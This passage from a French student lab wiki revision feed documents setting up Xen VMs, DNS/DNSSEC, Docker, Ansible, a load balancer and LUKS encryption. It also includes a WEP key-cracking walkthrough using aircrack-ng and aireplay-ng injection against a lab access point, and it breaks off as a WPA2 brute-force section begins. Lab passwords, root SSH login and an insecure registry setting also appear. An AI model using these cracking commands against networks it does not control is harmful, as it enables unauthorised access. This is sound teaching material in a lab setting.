 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== Partie 7 ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
==== Clés SSH ====&lt;br /&gt;
&lt;br /&gt;
Génération d’une clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Installation de la clef publique sur une cible :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh cible &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
A FINIR&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :&lt;br /&gt;
&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisé.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55048</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55048"/>
				<updated>2020-12-20T10:51:47Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Partie 7 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
